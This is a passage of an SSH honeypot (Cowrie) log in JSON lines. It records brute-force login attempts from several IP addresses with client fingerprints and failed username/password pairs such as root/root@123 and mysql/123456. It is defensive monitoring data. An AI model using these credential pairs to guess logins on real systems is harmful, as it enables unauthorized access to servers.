0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:04.997394Z","src_ip":"43.163.119.215","session":"78d7da6a273f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:05.718243Z","src_ip":"43.163.119.215","session":"78d7da6a273f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:06.958513Z","src_ip":"43.163.119.215","session":"78d7da6a273f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":43004,"dst_ip":"10.17.0.5","dst_port":22,"session":"900effc3ca4b","protocol":"ssh","message":"New connection: 43.163.119.215:43004 (10.17.0.5:22) [session: 900effc3ca4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:10.566943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:10.575442Z","src_ip":"43.163.119.215","session":"900effc3ca4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:10.814204Z","src_ip":"43.163.119.215","session":"900effc3ca4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:11.553522Z","src_ip":"43.163.119.215","session":"900effc3ca4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:12.795203Z","src_ip":"43.163.119.215","session":"900effc3ca4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"5638e1b4599d","protocol":"ssh","message":"New connection: 103.75.199.4:54928 (159.203.135.109:22) [session: 5638e1b4599d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:14.821051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:14.826757Z","src_ip":"103.75.199.4","session":"5638e1b4599d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:14.923755Z","src_ip":"103.75.199.4","session":"5638e1b4599d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:15.215527Z","src_ip":"103.75.199.4","session":"5638e1b4599d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:16.314195Z","src_ip":"103.75.199.4","session":"5638e1b4599d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":49422,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f3236b83cf6","protocol":"ssh","message":"New connection: 43.163.119.215:49422 (10.17.0.5:22) [session: 3f3236b83cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:19.030771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:19.035648Z","src_ip":"43.163.119.215","session":"3f3236b83cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:19.285024Z","src_ip":"43.163.119.215","session":"3f3236b83cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:20.021964Z","src_ip":"43.163.119.215","session":"3f3236b83cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:21.275831Z","src_ip":"43.163.119.215","session":"3f3236b83cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":49424,"dst_ip":"10.17.0.5","dst_port":22,"session":"eea1cbb6515c","protocol":"ssh","message":"New connection: 43.163.119.215:49424 (10.17.0.5:22) [session: eea1cbb6515c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:22.718538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:22.723633Z","src_ip":"43.163.119.215","session":"eea1cbb6515c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:22.953829Z","src_ip":"43.163.119.215","session":"eea1cbb6515c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:23.726329Z","src_ip":"43.163.119.215","session":"eea1cbb6515c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:24.959634Z","src_ip":"43.163.119.215","session":"eea1cbb6515c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":47111,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a322a3afc4","protocol":"ssh","message":"New connection: 162.243.147.237:47111 (159.203.135.109:22) [session: 84a322a3afc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:32.063353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:32.068865Z","src_ip":"162.243.147.237","session":"84a322a3afc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:32.142869Z","src_ip":"162.243.147.237","session":"84a322a3afc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:32.458625Z","src_ip":"162.243.147.237","session":"84a322a3afc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:33.533691Z","src_ip":"162.243.147.237","session":"84a322a3afc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":60074,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa2f0827196","protocol":"ssh","message":"New connection: 43.163.119.215:60074 (10.17.0.5:22) [session: faa2f0827196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:34.966240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:34.971456Z","src_ip":"43.163.119.215","session":"faa2f0827196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.217551Z","src_ip":"43.163.119.215","session":"faa2f0827196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.227.40","src_port":43412,"dst_ip":"10.17.0.5","dst_port":22,"session":"5640f03d6235","protocol":"ssh","message":"New connection: 158.69.227.40:43412 (10.17.0.5:22) [session: 5640f03d6235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.462642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.467903Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.491058Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:ce:2c:70:f8:f0:f0:2f:db:3b:35:c3:7a:b2:bf:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuH/hv5V4/IPL896HT5LWF/zKpa/6JbK0i+3ZXw1cVtc8qzgm58+O1pRyCseIDDXJ2lsSzDruk7gF/JD4t6JhcpRTcxWaqiexstPmvN4u6Ln7dDn7Dv1LwhxnUg2NElQKOfkRIpcXwgOKq1gLLuInP7gWJvrBPKMfiHOmtuqgfzziAvQR90heGaAptQS/aEa+Pdz7SrNTgj8GVDACHt0ltHF1AdKpAPKvcjyl4771ng/KwVboFWETuaYrSuOw2Q7rwv4r4WmaXtZHNwakPuL7rZGkNTrnTQPL1aSP6tZ/0D4GF3fuTTD+EyoRFEH7aHiFpGWBmEC+ybrIBAIydcal3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:ce:2c:70:f8:f0:f0:2f:db:3b:35:c3:7a:b2:bf:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.571737Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:ce:2c:70:f8:f0:f0:2f:db:3b:35:c3:7a:b2:bf:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuH/hv5V4/IPL896HT5LWF/zKpa/6JbK0i+3ZXw1cVtc8qzgm58+O1pRyCseIDDXJ2lsSzDruk7gF/JD4t6JhcpRTcxWaqiexstPmvN4u6Ln7dDn7Dv1LwhxnUg2NElQKOfkRIpcXwgOKq1gLLuInP7gWJvrBPKMfiHOmtuqgfzziAvQR90heGaAptQS/aEa+Pdz7SrNTgj8GVDACHt0ltHF1AdKpAPKvcjyl4771ng/KwVboFWETuaYrSuOw2Q7rwv4r4WmaXtZHNwakPuL7rZGkNTrnTQPL1aSP6tZ/0D4GF3fuTTD+EyoRFEH7aHiFpGWBmEC+ybrIBAIydcal3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.575816Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:30:a3:c9:4d:94:39:69:b2:ba:e8:21:10:9c:fa:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3gSJUKAIzMXQQnPqdH4hVrU8FcBRPuo/hq6VOdaMJ2RiEHjrAEU5V4IDLrY5Mr7CVM3KbPuZqvZVI+2Sxb10ckI3yPINL+pGZJ1m0hpxar98WRKhBPQikl2O9AA+jMA1Kx5SlIl8qrG05QgBn2LLcUkqccAOnLTG10Ux5dvC1SOwSxsgH9GpCxp+vPlqOL9AgVx9/0P8yhoHhvMZ3/fD+eahE1VOh9/xByFYMJSaUnMtEvRGtAXmRwYV7YilFSN5bAhZ/3n/o7HhYxAR8AgnuyOZfG1rTQ+YYGv//bWedtfZZfphNtHSp6TvuM5hcez/L4rky1zW/ANPvkbTjUejMuqK1Y7AhEgeDWL0TEgXIwXjvQRXXbasKrLSM2i3838tNkhKE/JvenhhQphiUlhmPl9Kw8gPtEvq+boXFnLKYJcmT0WBkHxVWzHSEC1+KnPnIw0Wm1ByScjQS5lI+gudqHTPPhnJ5PwV3DNp65O6af11YBnDyFsUV3almsWx17lE4mCTICptNRz+xbAoaIRMp/BMp0/gLFPt2Gfd+WwGcHvJpUpTtS03zzLoyn9knu0KCc1yvbH2BDblA123ZAwFugFVSs4aiDI8EnwXTAPO0az3+Ai1BnxL6m5tNQDrlQJU7X9YedzmJTLzGsld8hErHNxLb6LcJ/gVzz7H1Wo1jUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:30:a3:c9:4d:94:39:69:b2:ba:e8:21:10:9c:fa:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.600396Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
